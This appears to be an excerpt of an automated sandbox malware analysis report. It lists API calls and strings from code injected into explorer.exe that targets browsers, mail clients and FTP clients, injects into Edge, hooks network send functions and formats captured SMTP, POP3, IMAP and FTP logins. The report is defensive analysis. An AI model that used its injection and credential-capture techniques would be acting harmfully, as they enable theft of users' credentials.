Part of subcall function 00CD298C: GetFileAttributesW.KERNELBASE ref: 00CD299E

GetPrivateProfileSectionNamesW.KERNEL32 ref: 00CD330F
GetPrivateProfileStringW.KERNEL32 ref: 00CD336F
GetPrivateProfileIntW.KERNEL32 ref: 00CD338C

Part of subcall function 00CD30A8: FindFirstFileW.KERNELBASE ref: 00CD3104

Part of subcall function 00CD1860: RtlFreeHeap.NTDLL ref: 00CD1880

Memory Dump Source

Source File: 0000000F.00000002.2707640734.0000000000CD1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00CD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_cd1000_explorer.jbxd

Similarity

API ID: PrivateProfile$File$AttributesFindFirstFreeHeapNamesSectionString
String ID:
API String ID: 970345848-0
Opcode ID: 2b93d8c4a12b134edfd1353bbe2ba01486881703c9a40a6279b7507c54960219
Instruction ID: 3e2769eba35e02b15745bedafd0d47ff4642b4af7798e971c210e2bca119bbcc
Opcode Fuzzy Hash: 2b93d8c4a12b134edfd1353bbe2ba01486881703c9a40a6279b7507c54960219
Instruction Fuzzy Hash: C251C830718F494FDB59BB2C985667973D2EB98300B44056FE50AC33A6EE68DE429387

Function 00CD3458 Relevance: 4.7, APIs: 3, Instructions: 172
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.KERNELBASE ref: 00CD347E
RegOpenKeyExW.KERNELBASE ref: 00CD353F
RegEnumKeyExW.KERNELBASE ref: 00CD35D6

Part of subcall function 00CD2774: RegOpenKeyExW.KERNELBASE ref: 00CD27C7
Part of subcall function 00CD2774: RegQueryValueExW.KERNELBASE ref: 00CD27F4
Part of subcall function 00CD2774: RegQueryValueExW.KERNELBASE ref: 00CD283A
Part of subcall function 00CD2774: RegCloseKey.KERNELBASE ref: 00CD2860

Part of subcall function 00CD3254: GetPrivateProfileSectionNamesW.KERNEL32 ref: 00CD330F

Part of subcall function 00CD1860: RtlFreeHeap.NTDLL ref: 00CD1880

Memory Dump Source

Source File: 0000000F.00000002.2707640734.0000000000CD1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00CD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_cd1000_explorer.jbxd

Similarity

API ID: OpenQueryValue$CloseEnumFreeHeapNamesPrivateProfileSection
String ID:
API String ID: 1841478724-0
Opcode ID: 64400a878c992fa71e856e46df4fac4649fc2a7aa652cbc33b09ef089e85c32b
Instruction ID: 532dbf9ff45ba5a11511f8ceba21a2d0629c736112453e8dbab0d4ca605cb3ec
Opcode Fuzzy Hash: 64400a878c992fa71e856e46df4fac4649fc2a7aa652cbc33b09ef089e85c32b
Instruction Fuzzy Hash: 2C416C30718B484FDB98EF6D989972AB6E1FBA8340F04056FA64EC33A1DE34D9049742

Function 00CD2938 Relevance: 3.0, APIs: 2, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00CD2966
CloseHandle.KERNELBASE ref: 00CD297A

Memory Dump Source

Source File: 0000000F.00000002.2707640734.0000000000CD1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00CD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_cd1000_explorer.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: c2797be9488e4e6f5c36404d807aecabd0db32494513c6dc611a488961ed8fb4
Instruction ID: ec0af98eedff929190eda62d0642102516939b4f0c154fdb73f5c61f5a3400b5
Opcode Fuzzy Hash: c2797be9488e4e6f5c36404d807aecabd0db32494513c6dc611a488961ed8fb4
Instruction Fuzzy Hash: 2CF09B7021570A4FE7546FB944A8336F5D0FB58355F18473FE56AC23D0D73589468742

Function 00CD22B4 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE ref: 00CD22D0

Memory Dump Source

Source File: 0000000F.00000002.2707640734.0000000000CD1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00CD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_cd1000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction ID: 1424638a0b81a80592d31abe9665812c92e2a01a8318d9842ccdb6f5896c017e
Opcode Fuzzy Hash: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction Fuzzy Hash: F4E08C30108B0A8FD758AFBCE4CA07A33A1EBAC252B05053FE005CB114D27988C18741

Function 00CD298C Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 00CD299E

Memory Dump Source

Source File: 0000000F.00000002.2707640734.0000000000CD1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00CD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_cd1000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: adac2ff7f887c72d82cf14b017212d62fc95523d70b35a7e56ac7f1322cd4b31
Instruction ID: 7c4c1690b719600eab60d748d600d57a62179ad355cbe52532f2fe6f330f9d76
Opcode Fuzzy Hash: adac2ff7f887c72d82cf14b017212d62fc95523d70b35a7e56ac7f1322cd4b31
Instruction Fuzzy Hash: DAD0A722732905077B6426FA08FD27130A0D73933AF14033BEB36C13E0E285CED5A201

Function 00CD1860 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL ref: 00CD1880

Memory Dump Source

Source File: 0000000F.00000002.2707640734.0000000000CD1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00CD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_cd1000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d99d8c33ae82ccdfde5110b6ab349530d41223e3f7429e99417b491f4accb22a
Instruction ID: 906c5f5480795516f80189ca7738020dd837821f30b6fb5d641866e8c74cc002
Opcode Fuzzy Hash: d99d8c33ae82ccdfde5110b6ab349530d41223e3f7429e99417b491f4accb22a
Instruction Fuzzy Hash: E8D01224716A041BEF2CBBFA1C8D174BAD2E758212B1D8066BD19C3392ED39C895D341

Analysis Process: explorer.exePID: 5804, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	97.4%
Signature Coverage:	27.5%
Total number of Nodes:	306
Total number of Limit Nodes:	42

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00141016 Relevance: 87.7, APIs: 30, Strings: 20, Instructions: 244
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00142608: VirtualQuery.KERNEL32(00144434,?,0000001C), ref: 00142615

Part of subcall function 00142861: GetProcessHeap.KERNEL32(00000008,0000A000,001410CC), ref: 00142864
Part of subcall function 00142861: RtlAllocateHeap.NTDLL(00000000), ref: 0014286B

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 00141038
RtlMoveMemory.NTDLL(00000000,?,?), ref: 0014106B
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 00141074
GetCurrentProcessId.KERNEL32(?,00141010), ref: 0014107A
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 001410DF
Process32First.KERNEL32(00000000,?), ref: 001410FE
lstrcmpiA.KERNEL32(?,firefox.exe), ref: 0014111A
lstrcmpiA.KERNEL32(?,iexplore.exe), ref: 0014112E
lstrcmpiA.KERNEL32(?,chrome.exe), ref: 00141142
lstrcmpiA.KERNEL32(?,opera.exe), ref: 00141156
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 00141166
lstrcmpiA.KERNEL32(?,outlook.exe), ref: 0014117A
lstrcmpiA.KERNEL32(?,thebat.exe), ref: 0014118E
lstrcmpiA.KERNEL32(?,thebat32.exe), ref: 001411A2
lstrcmpiA.KERNEL32(?,thebat64.exe), ref: 001411B6
lstrcmpiA.KERNEL32(?,thunderbird.exe), ref: 001411CA
lstrcmpiA.KERNEL32(?,filezilla.exe), ref: 001411DE
lstrcmpiA.KERNEL32(?,smartftp.exe), ref: 001411F2
lstrcmpiA.KERNEL32(?,winscp.exe), ref: 00141206
lstrcmpiA.KERNEL32(?,flashfxp.exe), ref: 00141216
lstrcmpiA.KERNEL32(?,cuteftppro.exe), ref: 00141226
lstrcmpiA.KERNEL32(?,mailmaster.exe), ref: 00141236
lstrcmpiA.KERNEL32(?,263em.exe), ref: 00141246
lstrcmpiA.KERNEL32(?,foxmail.exe), ref: 00141256
lstrcmpiA.KERNEL32(?,alimail.exe), ref: 00141266
lstrcmpiA.KERNEL32(?,mailchat.exe), ref: 00141276
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 001412B4
Process32Next.KERNEL32(00000000,00000128), ref: 0014130B
CloseHandle.KERNELBASE(00000000), ref: 0014131C
Sleep.KERNELBASE(000003E8), ref: 00141327

Strings

winscp.exe, xrefs: 001411FC
firefox.exe, xrefs: 00141114
smartftp.exe, xrefs: 001411E8
alimail.exe, xrefs: 0014125C
thunderbird.exe, xrefs: 001411C0
filezilla.exe, xrefs: 001411D4
iexplore.exe, xrefs: 00141124
thebat.exe, xrefs: 00141184
outlook.exe, xrefs: 00141170
cuteftppro.exe, xrefs: 0014121C
opera.exe, xrefs: 0014114C
thebat32.exe, xrefs: 00141198
flashfxp.exe, xrefs: 0014120C
foxmail.exe, xrefs: 0014124C
mailmaster.exe, xrefs: 0014122C
microsoftedgecp.exe, xrefs: 001410D2, 00141160, 001412AE
263em.exe, xrefs: 0014123C
chrome.exe, xrefs: 00141138
thebat64.exe, xrefs: 001411AC
mailchat.exe, xrefs: 0014126C

Memory Dump Source

Source File: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Offset: 00141000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_141000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$HeapMemoryMoveProcessProcess32$AllocateCloseCreateCurrentFirstHandleNextQuerySectionSleepSnapshotToolhelp32UnmapViewVirtual
String ID: 263em.exe$alimail.exe$chrome.exe$cuteftppro.exe$filezilla.exe$firefox.exe$flashfxp.exe$foxmail.exe$iexplore.exe$mailchat.exe$mailmaster.exe$microsoftedgecp.exe$opera.exe$outlook.exe$smartftp.exe$thebat.exe$thebat32.exe$thebat64.exe$thunderbird.exe$winscp.exe
API String ID: 2555639992-1680033604
Opcode ID: 9ebffd15af1fb84f2b066f1aea75f627a1c18bd0377867ed2e46894a787be723
Instruction ID: dc542a9a0b42b0944d1a2474cfaa35a1e40aba12b5a802184d131ad2958b39a5
Opcode Fuzzy Hash: 9ebffd15af1fb84f2b066f1aea75f627a1c18bd0377867ed2e46894a787be723
Instruction Fuzzy Hash: F571B170600345BBCB10EFB09C45E6E7BACBF46B80B040629FD50C34B0EB74EA858A74

Function 001410A4 Relevance: 80.7, APIs: 26, Strings: 20, Instructions: 203
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00142861: GetProcessHeap.KERNEL32(00000008,0000A000,001410CC), ref: 00142864
Part of subcall function 00142861: RtlAllocateHeap.NTDLL(00000000), ref: 0014286B

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 001410DF
Process32First.KERNEL32(00000000,?), ref: 001410FE
lstrcmpiA.KERNEL32(?,firefox.exe), ref: 0014111A
lstrcmpiA.KERNEL32(?,iexplore.exe), ref: 0014112E
lstrcmpiA.KERNEL32(?,chrome.exe), ref: 00141142
lstrcmpiA.KERNEL32(?,opera.exe), ref: 00141156
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 00141166
lstrcmpiA.KERNEL32(?,outlook.exe), ref: 0014117A
lstrcmpiA.KERNEL32(?,thebat.exe), ref: 0014118E
lstrcmpiA.KERNEL32(?,thebat32.exe), ref: 001411A2
lstrcmpiA.KERNEL32(?,thebat64.exe), ref: 001411B6
lstrcmpiA.KERNEL32(?,thunderbird.exe), ref: 001411CA
lstrcmpiA.KERNEL32(?,filezilla.exe), ref: 001411DE
lstrcmpiA.KERNEL32(?,smartftp.exe), ref: 001411F2
lstrcmpiA.KERNEL32(?,winscp.exe), ref: 00141206
lstrcmpiA.KERNEL32(?,flashfxp.exe), ref: 00141216
lstrcmpiA.KERNEL32(?,cuteftppro.exe), ref: 00141226
lstrcmpiA.KERNEL32(?,mailmaster.exe), ref: 00141236
lstrcmpiA.KERNEL32(?,263em.exe), ref: 00141246
lstrcmpiA.KERNEL32(?,foxmail.exe), ref: 00141256
lstrcmpiA.KERNEL32(?,alimail.exe), ref: 00141266
lstrcmpiA.KERNEL32(?,mailchat.exe), ref: 00141276
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 001412B4
Process32Next.KERNEL32(00000000,00000128), ref: 0014130B
CloseHandle.KERNELBASE(00000000), ref: 0014131C
Sleep.KERNELBASE(000003E8), ref: 00141327

Strings

winscp.exe, xrefs: 001411FC
firefox.exe, xrefs: 00141114
smartftp.exe, xrefs: 001411E8
alimail.exe, xrefs: 0014125C
thunderbird.exe, xrefs: 001411C0
filezilla.exe, xrefs: 001411D4
iexplore.exe, xrefs: 00141124
thebat.exe, xrefs: 00141184
outlook.exe, xrefs: 00141170
cuteftppro.exe, xrefs: 0014121C
opera.exe, xrefs: 0014114C
thebat32.exe, xrefs: 00141198
flashfxp.exe, xrefs: 0014120C
foxmail.exe, xrefs: 0014124C
mailmaster.exe, xrefs: 0014122C
microsoftedgecp.exe, xrefs: 001410D2, 00141160, 001412AE
263em.exe, xrefs: 0014123C
chrome.exe, xrefs: 00141138
thebat64.exe, xrefs: 001411AC
mailchat.exe, xrefs: 0014126C

Memory Dump Source

Source File: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Offset: 00141000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_141000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$HeapProcess32$AllocateCloseCreateFirstHandleNextProcessSleepSnapshotToolhelp32
String ID: 263em.exe$alimail.exe$chrome.exe$cuteftppro.exe$filezilla.exe$firefox.exe$flashfxp.exe$foxmail.exe$iexplore.exe$mailchat.exe$mailmaster.exe$microsoftedgecp.exe$opera.exe$outlook.exe$smartftp.exe$thebat.exe$thebat32.exe$thebat64.exe$thunderbird.exe$winscp.exe
API String ID: 3950187957-1680033604
Opcode ID: c816813c7adb3d35ce144508629c96746254682e23a2ec5d0317ce6e8e176bc6
Instruction ID: 92e79ddbca890a2d2786162cc7844398bee06be632409996d1ea31b17ee11237
Opcode Fuzzy Hash: c816813c7adb3d35ce144508629c96746254682e23a2ec5d0317ce6e8e176bc6
Instruction Fuzzy Hash: 8C515071604309B7DB10DFB18D85E6E7AEC7F45B80B580A29FE50C30B0EB65EA858A75

Function 00147728 Relevance: 6.2, APIs: 4, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.4123294336.0000000000146000.00000040.80000000.00040000.00000000.sdmp, Offset: 00146000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_146000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 137774317c78c2343cdd1fbb4f4123f72b7bb64e5b5728ad2df89d4dde990e6c
Instruction ID: 473bfa96a7add21fbd4edf95bbf6db1a07cc53cb79d84f7aac3d4cde3a6bea16
Opcode Fuzzy Hash: 137774317c78c2343cdd1fbb4f4123f72b7bb64e5b5728ad2df89d4dde990e6c
Instruction Fuzzy Hash: D5513B7194C3924FD7228A78CC986B07BA0DB52321B6D0779D5E5CB3E6E7945C06C7A0

Function 00142861 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000A000,001410CC), ref: 00142864
RtlAllocateHeap.NTDLL(00000000), ref: 0014286B

Memory Dump Source

Source File: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Offset: 00141000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_141000_explorer.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 83665a0c9bdd05d867ba3f2e8a9fa44248d15ce0034d7404760f248a4ede80eb
Instruction ID: da79892938d1183c4cd3308817a686e1e8b5606c7a56a63013c37fed521d63fe
Opcode Fuzzy Hash: 83665a0c9bdd05d867ba3f2e8a9fa44248d15ce0034d7404760f248a4ede80eb
Instruction Fuzzy Hash: C7A012744001007FDD542BE0AC0DF053A18A742301F0003007119C6470C96001CC8721

Non-executed Functions

Function 00141819 Relevance: 47.5, APIs: 23, Strings: 4, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00142608: VirtualQuery.KERNEL32(00144434,?,0000001C), ref: 00142615

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,74DEE800,microsoftedgecp.exe,?), ref: 0014184E
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 00141889
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 00141919
RtlMoveMemory.NTDLL(00000000,00143428,00000016), ref: 00141940
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 00141968
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 00141978
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00141992
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 0014199A
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 001419A8
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 001419AF
GetModuleHandleA.KERNEL32(ntdll,atan,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 001419C5
GetProcAddress.KERNEL32(00000000), ref: 001419CC
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 001419E2
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 00141A0C
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00141A1F
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00141A26
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00141A2D
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 00141A41
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00141A58
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00141A65
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00141A6B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00141A71
CloseHandle.KERNEL32(00000000,?,00000000), ref: 00141A74

Strings

opera_shared_counter, xrefs: 0014198B
ntdll, xrefs: 001419C0
atan, xrefs: 001419BB
microsoftedgecp.exe, xrefs: 0014181D

Memory Dump Source

Source File: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Offset: 00141000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_141000_explorer.jbxd

Yara matches

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: atan$microsoftedgecp.exe$ntdll$opera_shared_counter
API String ID: 1066286714-4141090125
Opcode ID: 7ca1087d7f885aa60bce7ecbd8176a92638bc5c4ee142ad821ccf18374b4b0d9
Instruction ID: d213af5b04e23453ef856ba7aa912d67d7e7efffac0b042e39c84af5b6bff1e9
Opcode Fuzzy Hash: 7ca1087d7f885aa60bce7ecbd8176a92638bc5c4ee142ad821ccf18374b4b0d9
Instruction Fuzzy Hash: A6619B75205344BFD310DF609C84E6BBBECEF8A754F100628F95993261DB70DE848BA2

Function 0014263E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 0014265A
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00142672
lstrlen.KERNEL32(?,00000000), ref: 0014267A
CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 00142685
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 0014269F
wsprintfA.USER32 ref: 001426B6
CryptDestroyHash.ADVAPI32(?), ref: 001426CF
CryptReleaseContext.ADVAPI32(?,00000000), ref: 001426D9

Strings

%02X, xrefs: 001426B0

Memory Dump Source

Source File: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Offset: 00141000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_141000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: 2ba4dcbbf5db0ee3cd15a42d8a12275f4f7f2d88b60a4ea101a2d6d296bd7cfa
Instruction ID: d181832de22b54d8d24d3374460cb541158c151d3415ba5ea6b50291050ee5a4
Opcode Fuzzy Hash: 2ba4dcbbf5db0ee3cd15a42d8a12275f4f7f2d88b60a4ea101a2d6d296bd7cfa
Instruction Fuzzy Hash: 25113AB5900108BFDB119B95EC88EAEBFBCEB49741F104165FA15E3160D7718F819B60

Function 00141B17 Relevance: 6.1, APIs: 4, Instructions: 101
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 00141B4E
LoadLibraryA.KERNEL32(?,00144434,00000000,00000000,74DF2EE0,00000000,00141910,?,?,?,00000001,?,00000000), ref: 00141B76
GetProcAddress.KERNEL32(00000000,-00000002), ref: 00141BA3
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 00141BF4

Memory Dump Source

Source File: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Offset: 00141000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_141000_explorer.jbxd

Yara matches

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: 72474349364c06638ae8f695e113f6ddad86092f3a651f00259beae5cd2e4790
Instruction ID: f793cc3edc0696430600652cbcd282d48b27a5ba3f044a22af7ba9d7d70ff106
Opcode Fuzzy Hash: 72474349364c06638ae8f695e113f6ddad86092f3a651f00259beae5cd2e4790
Instruction Fuzzy Hash: 5131AF75700216BBCB28CF29CC84B76B7E8FF16315B15456CE896CB620E731E885CBA0

Function 00141332 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 94
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00142861: GetProcessHeap.KERNEL32(00000008,0000A000,001410CC), ref: 00142864
Part of subcall function 00142861: RtlAllocateHeap.NTDLL(00000000), ref: 0014286B

GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,?,?,0014109E,?,00141010), ref: 0014134A
GetCurrentProcessId.KERNEL32(00000003,?,0014109E,?,00141010), ref: 0014135B
wsprintfA.USER32 ref: 00141372

Part of subcall function 0014263E: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 0014265A
Part of subcall function 0014263E: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00142672
Part of subcall function 0014263E: lstrlen.KERNEL32(?,00000000), ref: 0014267A
Part of subcall function 0014263E: CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 00142685
Part of subcall function 0014263E: CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 0014269F
Part of subcall function 0014263E: wsprintfA.USER32 ref: 001426B6
Part of subcall function 0014263E: CryptDestroyHash.ADVAPI32(?), ref: 001426CF
Part of subcall function 0014263E: CryptReleaseContext.ADVAPI32(?,00000000), ref: 001426D9

CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 00141389
GetLastError.KERNEL32 ref: 0014138F
Sleep.KERNEL32(000001F4), ref: 001413A1

Part of subcall function 001424D5: GetCurrentProcessId.KERNEL32 ref: 001424E7
Part of subcall function 001424D5: GetCurrentThreadId.KERNEL32 ref: 001424EF
Part of subcall function 001424D5: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 001424FF
Part of subcall function 001424D5: Thread32First.KERNEL32(00000000,0000001C), ref: 0014250D
Part of subcall function 001424D5: CloseHandle.KERNEL32(00000000), ref: 00142566

GetModuleHandleA.KERNEL32(ws2_32.dll,send), ref: 001413B8
GetProcAddress.KERNEL32(00000000), ref: 001413BF
GetModuleHandleA.KERNEL32(ws2_32.dll,WSASend), ref: 001413E4
GetProcAddress.KERNEL32(00000000), ref: 001413EB

Part of subcall function 00141DE3: RtlMoveMemory.NTDLL(00000000,00000000,00000000), ref: 00141E1D

RtlExitUserThread.NTDLL(00000000), ref: 0014141D

Strings

ws2_32.dll, xrefs: 001413B3, 001413DF
%s%d%d%d, xrefs: 0014136C
send, xrefs: 001413AE
WSASend, xrefs: 001413DA

Memory Dump Source

Source File: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Offset: 00141000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_141000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$CreateCurrentHandleModuleProcess$AddressContextHeapProcThreadwsprintf$AcquireAllocateCloseDataDestroyErrorExitFileFirstLastMemoryMoveMutexNameParamReleaseSleepSnapshotThread32Toolhelp32Userlstrlen
String ID: %s%d%d%d$WSASend$send$ws2_32.dll
API String ID: 706757162-1430290102
Opcode ID: 0a98ea725bea3003754e3ea209afc7936c85b17fa5c89cbcecb2d6eea557c1aa
Instruction ID: 6a734d277bc1ae49f39d41a44111d6d36205040c18d28d51ba9185124c59cec4
Opcode Fuzzy Hash: 0a98ea725bea3003754e3ea209afc7936c85b17fa5c89cbcecb2d6eea557c1aa
Instruction Fuzzy Hash: 8D31B934340214BBCB106FA0DD0AF5E3B65EF16B41F144124F91A976B1CFB59AD18B90

Function 00141647 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 91
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00144220,?,?), ref: 00141679
lstrlen.KERNEL32(?), ref: 00141686
getpeername.WS2_32(?,?,?), ref: 001416A0
inet_ntoa.WS2_32(?), ref: 001416B1
htons.WS2_32(?), ref: 001416BF
wsprintfA.USER32 ref: 00141725

Strings

smtp://%s:%s@%s:%d, xrefs: 001416F3, 00141723
pop3://%s:%s@%s:%d, xrefs: 00141701
imap://%s:%s@%s:%d, xrefs: 001416FA
ftp://%s:%s@%s:%d, xrefs: 00141708

Memory Dump Source

Source File: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Offset: 00141000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_141000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$getpeernamehtonsinet_ntoawsprintf
String ID: ftp://%s:%s@%s:%d$imap://%s:%s@%s:%d$pop3://%s:%s@%s:%d$smtp://%s:%s@%s:%d
API String ID: 3379139566-1703351401
Opcode ID: e01b895f3cb4c8f518917d6ec7e52af745ce42f75a5473e6ca936f11c3cb22e2
Instruction ID: db5f62e2d4cdbb4247cd267900a8d64229033cc69c20dde4a6c11c00b31fb8b2
Opcode Fuzzy Hash: e01b895f3cb4c8f518917d6ec7e52af745ce42f75a5473e6ca936f11c3cb22e2
Instruction Fuzzy Hash: 0121F47AE00209BBDF105FBD8D889BE7EA9AB45302B084075E814E3231DB74CE809B60

Function 00141752 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 44
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,sscanf,?,?,?,00141539,?,?,?,0014144B,?), ref: 00141763
GetProcAddress.KERNEL32(00000000), ref: 0014176A
RtlZeroMemory.NTDLL(00144228,00000104), ref: 00141788
RtlZeroMemory.NTDLL(00144118,00000104), ref: 00141790
RtlZeroMemory.NTDLL(00144330,00000104), ref: 00141798
RtlZeroMemory.NTDLL(00144000,00000104), ref: 001417A1

Strings

ntdll.dll, xrefs: 0014175A
sscanf, xrefs: 00141755
%s%s%s%s, xrefs: 001417B3

Memory Dump Source

